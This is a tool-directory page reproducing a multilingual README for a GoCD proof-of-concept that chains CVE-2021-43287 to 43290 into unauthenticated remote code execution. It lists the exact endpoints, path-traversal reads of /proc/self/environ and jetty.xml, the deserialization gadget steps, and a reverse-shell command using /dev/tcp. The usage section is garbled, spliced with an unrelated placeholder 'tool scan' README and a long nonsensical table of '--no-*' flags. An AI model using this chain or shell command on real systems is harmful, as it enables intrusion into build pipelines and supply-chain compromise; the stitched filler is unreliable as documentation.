Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GoCD_PoC_Supply_Chain_Attack — CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290 | Kitploit
Tools/GitHubGitHub/higorgabrieldcf/gocd_poc_supply_chain_attack
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationSicherheitsvirtualisierungPenetrationstestsLieferkettensicherheitLernen & BildungRed Teaming
GitHubhigorgabrieldcf/gocd_poc_supply_chain_attack
vor 16h 44mNoch nicht geprüft

GoCD_PoC_Supply_Chain_Attack

CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290

Autor / Author: Higor Farias — PRIDE Security

⚠️ AVISO LEGAL / LEGAL DISCLAIMER

[PT] Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes controlados com autorização explícita. O uso indevido é de responsabilidade exclusiva do utilizador.

[EN] Produced exclusively for educational and authorized offensive security research purposes. Use only in controlled environments with explicit written permission. Misuse is the sole responsibility of the user.


Índice / Table of Contents

  1. Visão Geral / Overview
  2. Impacto na Cadeia de Suprimentos de Software / Software Supply Chain Impact
  3. Vulnerabilidades / Vulnerabilities
  4. Encadeamento de Ataque / Attack Chain
  5. Pré-requisitos / Prerequisites
  6. Ambiente PoC com Docker / PoC Docker Environment
  7. Uso dos Scripts / Script Usage
    • gocd_rce_noauth.py — RCE sem autenticação / Unauthenticated RCE
  • gocd_urldns.py — URLDNS / Detecção de desserialização
  • Referências / References
  • Cronologia / Timeline
  • Mitigação / Mitigation

  • 1. Visão Geral / Overview

    [PT] O GoCD é uma plataforma de CI/CD mantida pela ThoughtWorks. Nas versões anteriores à 21.3.0, pesquisadores da SonarSource identificaram uma cadeia de vulnerabilidades explorável sem nenhuma autenticação. Os dois scripts deste repositório demonstram:

    • gocd_rce_noauth.py — exploração completa da cadeia até RCE (Execução Remota de Código), sem credenciais.
    • gocd_urldns.py — detecção out-of-band da desserialização Java via gadget chain URLDNS e callback DNS (requer credenciais válidas para listar agents registrados).

    [EN] GoCD is a CI/CD platform maintained by ThoughtWorks. In versions prior to 21.3.0, SonarSource researchers identified a vulnerability chain exploitable with zero authentication. The two scripts in this repository demonstrate:

    • gocd_rce_noauth.py — full chain exploitation up to RCE (Remote Code Execution), without credentials.
    • gocd_urldns.py — out-of-band detection of Java deserialization via the URLDNS gadget chain and a DNS callback (requires valid credentials to list registered agents).

    2. Impacto na Cadeia de Suprimentos de Software / Software Supply Chain Impact

    [PT] O GoCD ocupa uma posição central na cadeia de entrega de software de uma organização: ele orquestra a compilação, os testes, a geração de artefatos e os deploys em produção. Ao comprometer o servidor GoCD via RCE (como demonstrado pelo gocd_rce_noauth.py), um atacante obtém controle sobre todos os estágios desse processo — podendo inserir backdoors em binários, falsificar artefatos ou exfiltrar código-fonte e credenciais antes mesmo que qualquer produto chegue ao usuário final. O cenário é análogo ao ataque à SolarWinds (2020), onde o acesso ao pipeline de build resultou na distribuição de malware para milhares de clientes.

    [EN] GoCD occupies a central position in an organization's software delivery chain: it orchestrates builds, tests, artifact generation, and production deployments. By compromising the GoCD server via RCE (as demonstrated by gocd_rce_noauth.py), an attacker gains control over every stage of that process — enabling backdoor insertion into binaries, artifact tampering, or source code and credential exfiltration before any product reaches the end user. The scenario mirrors the SolarWinds attack (2020), where build pipeline access led to malware distribution to thousands of customers.```mermaid flowchart TD ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])

    root@kitploit:~
    subgraph EXPLOIT ["Exploração / Exploitation"]
        E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
        E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
        E3["Registro de agente falso\nFake agent registration"]
        E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
        E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
        E1 --> E2 --> E3 --> E4 --> E5
    end
    
    subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
        P1["📦 Build de artefatos\nBinary/artifact build"]
        P2["🧪 Execução de testes\nTest execution"]
        P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
        P4["🚀 Deploy em produção\nProduction deployment"]
        P1 --> P2 --> P3 --> P4
    end
    
    subgraph IMPACT ["Impacto / Impact"]
        I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
        I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
        I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
        I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
        I1 & I2 & I3 --> I4
    end
    
    ATK --> EXPLOIT
    E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
    P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
    P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
    P4 -->|"Produção comprometida\nCompromised production"| I4
    E5 -->|"Leitura de secrets\nSecrets read"| I1
    E5 -->|"Acesso ao repositório\nRepository access"| I3
    
    root@kitploit:~
    ---
    
    ## 3. Vulnerabilidades / Vulnerabilities
    
    | CVE | Tipo / Type | CVSS 3.1 | CWE | Auth |
    |-----|-------------|:---:|-----|:---:|
    | **CVE-2021-43287** | Information Disclosure | **7.5 HIGH** | CWE-200 | ❌ Nenhuma / None |
    | **CVE-2021-43288** | Stored XSS | **6.1 MEDIUM** | CWE-79 | Agent |
    | **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
    | **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |
    
    ### CVE-2021-43287 — Business Continuity: vazamento sem autenticação / unauthenticated leak
    
    **[PT]** O endpoint `/go/add-on/business-continuity/api/cruise_config` devolve o XML completo de configuração do servidor **sem exigir autenticação**. O XML contém os atributos do elemento `<server>`, incluindo `agentAutoRegisterKey` e `tokenGenerationKey` — as duas chaves necessárias para registrar agentes e assinar requisições autenticadas. Adicionalmente, o parâmetro `pluginName` do endpoint de plugins aceita sequências de path traversal (`../../../../../../`), permitindo leitura de arquivos arbitrários do sistema — como `/proc/self/environ` e `/etc/go/jetty.xml`.
    
    **[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.
    
    **Endpoints explorados pelos scripts / Endpoints used by the scripts:**```
    GET /go/add-on/business-continuity/api/cruise_config
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml
    

    CVE-2021-43289 / CVE-2021-43290 — Java-Deserialisierung über remoteBuildRepository

    [PT] O endpoint /go/remoting/remoteBuildRepository aceita objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados apenas com o header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Como o tokenGenerationKey é obtido via CVE-2021-43287, um atacante sem credenciais pode enviar gadget chains maliciosas. Os scripts utilizam dois gadgets customizados do ysoserial baseados em AspectJWeaver:

    • AspectJWeaverFileUpload1 — escreve arquivo arbitrário no sistema de arquivos do servidor (usado para sobrescrever /etc/go/jetty.xml com uma versão maliciosa).
    • AspectJWeaverFileRead1 — lê /dev/random, forçando o Jetty a reinicializar e carregar o jetty.xml modificado, disparando a execução do comando injetado via java.lang.Runtime.exec().

    [EN] Der Endpunkt /go/remoting/remoteBuildRepository akzeptiert Java-serialisierte Objekte (Content-Type: application/x-java-serialized-object), die nur mit dem Header Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)) authentifiziert werden. Da der tokenGenerationKey über CVE-2021-43287 ermittelt wird, kann ein nicht authentifizierter Angreifer bösartige Gadget Chains senden. Die Skripte verwenden zwei benutzerdefinierte ysoserial-Gadgets basierend auf AspectJWeaver:

    • AspectJWeaverFileUpload1 — schreibt eine beliebige Datei auf das Dateisystem des Servers (wird verwendet, um /etc/go/jetty.xml mit einer bösartigen Version zu überschreiben).
    • AspectJWeaverFileRead1 — liest /dev/random, wodurch Jetty zum Neustart gezwungen wird und die modifizierte jetty.xml lädt, was die über java.lang.Runtime.exec() injizierte Befehlsausführung auslöst.

    4. Encadeamento de Ataque / Attack Chain

    gocd_rce_noauth.py — Cadeia completa sem autenticação / Full unauthenticated chain```

    ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE

    root@kitploit:~
    ### `gocd_urldns.py` — Out-of-Band-Erkennung```
    ATACANTE (com credenciais) / ATTACKER (with credentials)
    │
    │ [Step 1]  POST /go/auth/security_check  (j_username + j_password)
    │            └─► Obtém JSESSIONID
    │
    │ [Step 2]  GET /go/add-on/business-continuity/api/cruise_config
    │            └─► Extrai tokenGenerationKey
    │
    │ [Step 4]  GET plugin?pluginName=../../../../../../proc/self/environ
    │            └─► Lê variáveis de ambiente
    │
    │ [Step 5]  GET /go/api/agents  (Accept: application/vnd.go.cd+json)
    │            └─► Lista agents; seleciona o primeiro com agent_state != "Building"
    │                e extrai seu UUID
    │
    │ [Step 9]  ysoserial URLDNS {interact_url}
    │            └─► Serializa gadget URLDNS apontando para servidor de interação DNS
    │
    │ [Step 10] POST /go/remoting/remoteBuildRepository
    │            └─► Envia payload URLDNS com UUID + Authorization HMAC
    │
    ▼
    Servidor GoCD desserializa → faz requisição DNS para {interact_url}
    DNS callback confirma vulnerabilidade de desserialização
    

    5. Voraussetzungen / Prerequisites

    Python-Abhängigkeiten / Python dependencies```bash

    pip install requests

    root@kitploit:~
    ### Ferramentas externas obrigatórias / Mandatory external tools
    
    Beide Skripte sind auf ein 32-Bit-JDK und `ysoserial.jar` im Ausführungsverzeichnis angewiesen.
    Both scripts depend on a 32-bit JDK and `ysoserial.jar` in the working directory.
    
    | Ferramenta / Tool | Versão / Version | Finalidade / Purpose |
    |---|---|---|
    | **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
    | **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |
    
    **Estrutura esperada de arquivos / Expected file structure:**```
    diretório de execução / working directory
    ├── gocd_rce_noauth.py
    ├── gocd_urldns.py
    ├── ysoserial.jar
    └── openlogic-openjdk-8u332-b09-linux-x32/
        └── bin/
            └── java
    

    [PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    [EN] Das Skript erkennt das Betriebssystem automatisch und verwendet den entsprechenden Pfad:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    Para gocd_urldns.py: serviço de interação DNS / DNS interaction service

    [PT] É necessário um servidor de interação DNS que registre callbacks (ex.: interactsh ou Burp Collaborator). O script envia a URL recebida em -i como argumento para o gadget URLDNS.

    [EN] Ein DNS-Interaktionsserver, der Callbacks registriert, ist erforderlich (z. B. interactsh oder Burp Collaborator). Das Skript übergibt die über -i empfangene URL als Argument an das URLDNS-Gadget.```bash

    Iniciar listener interactsh / Start interactsh listener

    interactsh-client

    Copiar a URL gerada (ex: abcdef.oast.pro) e usar como valor de -i

    Copy the generated URL (e.g. abcdef.oast.pro) and use as -i value

    root@kitploit:~
    ---
    
    ## 6. PoC-Umgebung mit Docker / PoC Docker Environment
    
    ### Starten des verwundbaren Ziels / Start the vulnerable target```bash
    # Clonar / Clone
    git clone https://github.com/<usuario>/gocd-cve-poc.git
    cd gocd-cve-poc
    
    # Subir apenas o servidor GoCD 20.10.0
    # Start only the GoCD 20.10.0 server
    docker-compose up -d gocd-server
    
    # Aguardar inicialização (~90s) / Wait for startup (~90s)
    docker-compose logs -f gocd-server
    # Pronto quando aparecer: "Go server port: 8153"
    
    ContainerImagePort
    gocd-server-vulngocd/gocd-server:v20.10.08153 (HTTP), 8154 (HTTPS)
    gocd-agent-vulngocd/gocd-agent-alpine-3.12:v20.10.0—

    Interface web / Web UI

    URL: http://localhost:8153/go

    Confirmar que o endpoint vulnerável responde (HTTP 200 esperado)

    Confirm the vulnerable endpoint responds (HTTP 200 expected)

    curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5

    root@kitploit:~
    ### Teardown```bash
    docker-compose down -v
    

    7. Uso dos Scripts / Script Usage


    gocd_rce_noauth.py — RCE sem autenticação / Unauthenticated RCE

    [PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.

    [EN] Führt die vollständige Exploit-Kette ohne jegliche Anmeldedaten aus: liest cruise_config, extrahiert die Server-Schlüssel, liest und modifiziert jetty.xml via Path Traversal, registriert einen gefälschten Agenten, serialisiert die AspectJWeaver-Gadgets mit ysoserial und sendet sie an den Deserialisierungs-Endpunkt, um jetty.xml zu überschreiben und Jetty mit dem injizierten Befehl zum Neustart zu zwingen.

    Argumentos / Arguments

    FlagObrigatório / RequiredDescrição (PT)Description (EN)
    -c✅Comando a executar no servidorBefehl, der auf dem Server ausgeführt werden soll
    -t✅URL base do GoCD (ex: http://gocd.example.com)GoCD-Basis-URL

    Exemplos / Examples```bash

    Verificar execução com 'id'

    Verify execution with 'id'

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "id"

    root@kitploit:~
    | `-s` | `--server` | `SERVER` | `http://localhost:8080` | Server URL |
    | `-t` | `--token` | `TOKEN` | – | API token |
    | `-v` | `--verbose` | – | `false` | Ausgabe ausführlich |
    | `-q` | `--quiet` | – | `false` | Ausgabe unterdrücken |
    | `-o` | `--output` | `FILE` | `stdout` | Ausgabedatei |
    | `-f` | `--format` | `FORMAT` | `json` | Ausgabeformat |
    | `-n` | `--no-color` | – | `false` | Farbausgabe deaktivieren |
    | `-c` | `--config` | `FILE` | `~/.config/tool/config.yaml` | Konfigurationsdatei |
    | `-d` | `--debug` | – | `false` | Debug-Modus aktivieren |
    | `-h` | `--help` | – | – | Hilfe anzeigen |
    | `-V` | `--version` | – | – | Version anzeigen |
    
    ### Beispiele
    
    ```bash
    # Grundlegende Verwendung
    tool scan --target example.com
    
    # Mit Authentifizierung
    tool scan --target example.com --token $API_TOKEN
    
    # Ausgabe in Datei
    tool scan --target example.com --output results.json --format json
    
    # Ausführlicher Modus
    tool scan --target example.com --verbose
    
    # Konfigurationsdatei verwenden
    tool scan --config /path/to/config.yaml
    

    Konfiguration

    Die Konfigurationsdatei verwendet das YAML-Format:

    root@kitploit:~
    server: http://localhost:8080
    token: your-api-token
    output: results.json
    format: json
    verbose: false
    

    Umgebungsvariablen

    VariableBeschreibung
    TOOL_SERVERServer-URL
    TOOL_TOKENAPI-Token
    TOOL_CONFIGPfad zur Konfigurationsdatei
    TOOL_DEBUGDebug-Modus aktivieren

    Exit-Codes

    CodeBeschreibung
    0Erfolg
    1Allgemeiner Fehler
    2Ungültige Argumente
    3Authentifizierungsfehler
    4Netzwerkfehler
    5Zeitüberschreitung

    Fehlerbehebung

    Verbindung zum Server nicht möglich

    Stellen Sie sicher, dass der Server läuft und die URL korrekt ist:

    root@kitploit:~
    curl -v http://localhost:8080/health
    

    Authentifizierungsfehler

    Überprüfen Sie, ob Ihr Token gültig und nicht abgelaufen ist:

    root@kitploit:~
    tool auth verify --token $API_TOKEN
    

    Berechtigungsfehler

    Stellen Sie sicher, dass Sie über die erforderlichen Berechtigungen verfügen:

    root@kitploit:~
    chmod +x /usr/local/bin/tool
    

    Mitwirken

    1. Forken Sie das Repository
    2. Erstellen Sie einen Feature-Branch (git checkout -b feature/amazing-feature)
    3. Committen Sie Ihre Änderungen (git commit -m 'Add amazing feature')
    4. Pushen Sie zum Branch (git push origin feature/amazing-feature)
    5. Öffnen Sie einen Pull Request

    Lizenz

    Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

    Danksagungen

    • Contributor 1
    • Contributor 2
    • Contributor 3

    Support

    • Dokumentation: https://docs.example.com
    • Issues: https://github.com/user/tool/issues
    • Discussions: https://github.com/user/tool/discussions

    Hinweis: Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt.```bash

    Reverse shell (ajustar IP e porta / adjust IP and port)

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

    root@kitploit:~
    | `--no-ssl` | Deaktiviert die SSL-Zertifikatsüberprüfung |
    | `--no-update` | Deaktiviert die automatische Aktualisierungsprüfung |
    | `--no-color` | Deaktiviert die farbige Ausgabe |
    | `--no-banner` | Deaktiviert das Banner |
    | `--no-progress` | Deaktiviert die Fortschrittsanzeige |
    | `--no-cache` | Deaktiviert den Cache |
    | `--no-history` | Deaktiviert den Verlauf |
    | `--no-config` | Deaktiviert die Konfigurationsdatei |
    | `--no-log` | Deaktiviert die Protokollierung |
    | `--no-debug` | Deaktiviert die Fehlerbehebung |
    | `--no-verbose` | Deaktiviert die ausführliche Ausgabe |
    | `--no-quiet` | Deaktiviert den stillen Modus |
    | `--no-interactive` | Deaktiviert den interaktiven Modus |
    | `--no-batch` | Deaktiviert den Batch-Modus |
    | `--no-parallel` | Deaktiviert den parallelen Modus |
    | `--no-threads` | Deaktiviert die Threads |
    | `--no-timeout` | Deaktiviert das Timeout |
    | `--no-retry` | Deaktiviert den Wiederholungsversuch |
    | `--no-delay` | Deaktiviert die Verzögerung |
    | `--no-random` | Deaktiviert die Zufälligkeit |
    | `--no-seed` | Deaktiviert den Seed |
    | `--no-limit` | Deaktiviert das Limit |
    | `--no-offset` | Deaktiviert den Offset |
    | `--no-filter` | Deaktiviert den Filter |
    | `--no-sort` | Deaktiviert die Sortierung |
    | `--no-reverse` | Deaktiviert die Umkehrung |
    | `--no-unique` | Deaktiviert die Eindeutigkeit |
    | `--no-count` | Deaktiviert die Zählung |
    | `--no-stats` | Deaktiviert die Statistiken |
    | `--no-report` | Deaktiviert den Bericht |
    | `--no-export` | Deaktiviert den Export |
    | `--no-import` | Deaktiviert den Import |
    | `--no-backup` | Deaktiviert die Sicherung |
    | `--no-restore` | Deaktiviert die Wiederherstellung |
    | `--no-reset` | Deaktiviert das Zurücksetzen |
    | `--no-clean` | Deaktiviert die Bereinigung |
    | `--no-purge` | Deaktiviert das Löschen |
    | `--no-remove` | Deaktiviert das Entfernen |
    | `--no-delete` | Deaktiviert das Löschen |
    | `--no-create` | Deaktiviert das Erstellen |
    | `--no-update` | Deaktiviert die Aktualisierung |
    | `--no-list` | Deaktiviert die Auflistung |
    | `--no-show` | Deaktiviert die Anzeige |
    | `--no-hide` | Deaktiviert das Ausblenden |
    | `--no-enable` | Deaktiviert das Aktivieren |
    | `--no-disable` | Deaktiviert das Deaktivieren |
    | `--no-start` | Deaktiviert den Start |
    | `--no-stop` | Deaktiviert das Stoppen |
    | `--no-restart` | Deaktiviert den Neustart |
    | `--no-reload` | Deaktiviert das Neuladen |
    | `--no-refresh` | Deaktiviert die Aktualisierung |
    | `--no-sync` | Deaktiviert die Synchronisierung |
    | `--no-async` | Deaktiviert die Asynchronität |
    | `--no-wait` | Deaktiviert das Warten |
    | `--no-block` | Deaktiviert die Blockierung |
    | `--no-lock` | Deaktiviert die Sperre |
    | `--no-unlock` | Deaktiviert die Entsperrung |
    | `--no-force` | Deaktiviert die Erzwingung |
    | `--no-ignore` | Deaktiviert das Ignorieren |
    | `--no-skip` | Deaktiviert das Überspringen |
    | `--no-include` | Deaktiviert das Einbeziehen |
    | `--no-exclude` | Deaktiviert das Ausschließen |
    | `--no-match` | Deaktiviert die Übereinstimmung |
    | `--no-replace` | Deaktiviert das Ersetzen |
    | `--no-append` | Deaktiviert das Anhängen |
    | `--no-prepend` | Deaktiviert das Voranstellen |
    | `--no-insert` | Deaktiviert das Einfügen |
    | `--no-delete` | Deaktiviert das Löschen |
    | `--no-move` | Deaktiviert das Verschieben |
    | `--no-copy` | Deaktiviert das Kopieren |
    | `--no-rename` | Deaktiviert das Umbenennen |
    | `--no-link` | Deaktiviert die Verknüpfung |
    | `--no-unlink` | Deaktiviert die Aufhebung der Verknüpfung |
    | `--no-mount` | Deaktiviert das Einhängen |
    | `--no-unmount` | Deaktiviert das Aushängen |
    | `--no-attach` | Deaktiviert das Anhängen |
    | `--no-detach` | Deaktiviert das Abtrennen |
    | `--no-connect` | Deaktiviert das Verbinden |
    | `--no-disconnect` | Deaktiviert das Trennen |
    | `--no-send` | Deaktiviert das Senden |
    | `--no-receive` | Deaktiviert das Empfangen |
    | `--no-upload` | Deaktiviert das Hochladen |
    | `--no-download` | Deaktiviert das Herunterladen |
    | `--no-stream` | Deaktiviert den Stream |
    | `--no-pipe` | Deaktiviert die Pipe |
    | `--no-redirect` | Deaktiviert die Umleitung |
    | `--no-proxy` | Deaktiviert den Proxy |
    | `--no-tunnel` | Deaktiviert den Tunnel |
    | `--no-forward` | Deaktiviert die Weiterleitung |
    | `--no-reverse` | Deaktiviert die Umkehrung |
    | `--no-bind` | Deaktiviert die Bindung |
    | `--no-listen` | Deaktiviert das Zuhören |
    | `--no-accept` | Deaktiviert das Akzeptieren |
    | `--no-reject` | Deaktiviert das Ablehnen |
    | `--no-drop` | Deaktiviert das Verwerfen |
    | `--no-allow` | Deaktiviert das Zulassen |
    | `--no-deny` | Deaktiviert das Verweigern |
    | `--no-permit` | Deaktiviert die Erlaubnis |
    | `--no-block` | Deaktiviert die Blockierung |
    | `--no-whitelist` | Deaktiviert die Whitelist |
    | `--no-blacklist` | Deaktiviert die Blacklist |
    | `--no-greylist` | Deaktiviert die Greylist |
    | `--no-ratelimit` | Deaktiviert das Ratenlimit |
    | `--no-throttle` | Deaktiviert die Drosselung |
    | `--no-quota` | Deaktiviert das Kontingent |
    | `--no-bandwidth` | Deaktiviert die Bandbreite |
    | `--no-latency` | Deaktiviert die Latenz |
    | `--no-jitter` | Deaktiviert den Jitter |
    | `--no-loss` | Deaktiviert den Verlust |
    | `--no-corrupt` | Deaktiviert die Beschädigung |
    | `--no-duplicate` | Deaktiviert die Duplizierung |
    | `--no-fragment` | Deaktiviert die Fragmentierung |
    | `--no-reassemble` | Deaktiviert die Neuzusammensetzung |
    | `--no-encrypt` | Deaktiviert die Verschlüsselung |
    | `--no-decrypt` | Deaktiviert die Entschlüsselung |
    | `--no-sign` | Deaktiviert die Signierung |
    | `--no-verify` | Deaktiviert die Überprüfung |
    | `--no-hash` | Deaktiviert den Hash |
    | `--no-checksum` | Deaktiviert die Prüfsumme |
    | `--no-compress` | Deaktiviert die Komprimierung |
    | `--no-decompress` | Deaktiviert die Dekomprimierung |
    | `--no-encode` | Deaktiviert die Kodierung |
    | `--no-decode` | Deaktiviert die Dekodierung |
    | `--no-escape` | Deaktiviert das Escaping |
    | `--no-unescape` | Deaktiviert das Unescaping |
    | `--no-quote` | Deaktiviert das Quoting |
    | `--no-unquote` | Deaktiviert das Unquoting |
    | `--no-format` | Deaktiviert die Formatierung |
    | `--no-parse` | Deaktiviert das Parsen |
    | `--no-serialize` | Deaktiviert die Serialisierung |
    | `--no-deserialize` | Deaktiviert die Deserialisierung |
    | `--no-marshal` | Deaktiviert das Marshalling |
    | `--no-unmarshal` | Deaktiviert das Unmarshalling |
    | `--no-validate` | Deaktiviert die Validierung |
    | `--no-sanitize` | Deaktiviert die Bereinigung |
    | `--no-normalize` | Deaktiviert die Normalisierung |
    | `--no-canonicalize` | Deaktiviert die Kanonisierung |
    | `--no-resolve` | Deaktiviert die Auflösung |
    | `--no-lookup` | Deaktiviert die Suche |
    | `--no-query` | Deaktiviert die Abfrage |
    | `--no-search` | Deaktiviert die Suche |
    | `--no-find` | Deaktiviert das Finden |
    | `--no-grep` | Deaktiviert grep |
    | `--no-sed` | Deaktiviert sed |
    | `--no-awk` | Deaktiviert awk |
    | `--no-cut` | Deaktiviert cut |
    | `--no-sort` | Deaktiviert sort |
    | `--no-uniq` | Deaktiviert uniq |
    | `--no-head` | Deaktiviert head |
    | `--no-tail` | Deaktiviert tail |
    | `--no-wc` | Deaktiviert wc |
    | `--no-tr` | Deaktiviert tr |
    | `--no-split` | Deaktiviert split |
    | `--no-join` | Deaktiviert join |
    | `--no-paste` | Deaktiviert paste |
    | `--no-diff` | Deaktiviert diff |
    | `--no-patch` | Deaktiviert patch |
    | `--no-merge` | Deaktiviert merge |
    | `--no-rebase` | Deaktiviert rebase |
    | `--no-cherry-pick` | Deaktiviert cherry-pick |
    | `--no-bisect` | Deaktiviert bisect |
    | `--no-blame` | Deaktiviert blame |
    | `--no-log` | Deaktiviert log |
    | `--no-show` | Deaktiviert show |
    | `--no-status` | Deaktiviert status |
    | `--no-commit` | Deaktiviert commit |
    | `--no-push` | Deaktiviert push |
    | `--no-pull` | Deaktiviert pull |
    | `--no-fetch` | Deaktiviert fetch |
    | `--no-clone` | Deaktiviert clone |
    | `--no-init` | Deaktiviert init |
    | `--no-add` | Deaktiviert add |
    | `--no-rm` | Deaktiviert rm |
    | `--no-mv` | Deaktiviert mv |
    | `--no-checkout` | Deaktiviert checkout |
    | `--no-branch` | Deaktiviert branch |
    | `--no-tag` | Deaktiviert tag |
    | `--no-stash` | Deaktiviert stash |
    | `--no-reset` | Deaktiviert reset |
    | `--no-revert` | Deaktiviert revert |
    | `--no-clean` | Deaktiviert clean |
    | `--no-gc` | Deaktiviert gc |
    | `--no-fsck` | Deaktiviert fsck |
    | `--no-reflog` | Deaktiviert reflog |
    | `--no-config` | Deaktiviert config |
    | `--no-remote` | Deaktiviert remote |
    | `--no-submodule` | Deaktiviert submodule |
    | `--no-worktree` | Deaktiviert worktree |
    | `--no-archive` | Deaktiviert archive |
    | `--no-bundle` | Deaktiviert bundle |
    | `--no-notes` | Deaktiviert notes |
    | `--no-hooks` | Deaktiviert hooks |
    | `--no-attributes` | Deaktiviert attributes |
    | `--no-ignore` | Deaktiviert ignore |
    | `--no-exclude` | Deaktiviert exclude |
    | `--no-include` | Deaktiviert include |
    | `--no-pathspec` | Deaktiviert pathspec |
    | `--no-glob` | Deaktiviert glob |
    | `--no-regex` | Deaktiviert regex |
    | `--no-wildcard` | Deaktiviert wildcard |
    | `--no-expand` | Deaktiviert expand |
    | `--no-brace` | Deaktiviert brace |
    | `--no-tilde` | Deaktiviert tilde |
    | `--no-variable` | Deaktiviert variable |
    | `--no-command` | Deaktiviert command |
    | `--no-substitution` | Deaktiviert substitution |
    | `--no-arithmetic` | Deaktiviert arithmetic |
    | `--no-conditional` | Deaktiviert conditional |
    | `--no-loop` | Deaktiviert loop |
    | `--no-function` | Deaktiviert function |
    | `--no-alias` | Deaktiviert alias |
    | `--no-unalias` | Deaktiviert unalias |
    | `--no-export` | Deaktiviert export |
    | `--no-unset` | Deaktiviert unset |
    | `--no-readonly` | Deaktiviert readonly |
    | `--no-declare` | Deaktiviert declare |
    | `--no-local` | Deaktiviert local |
    | `--no-global` | Deaktiviert global |
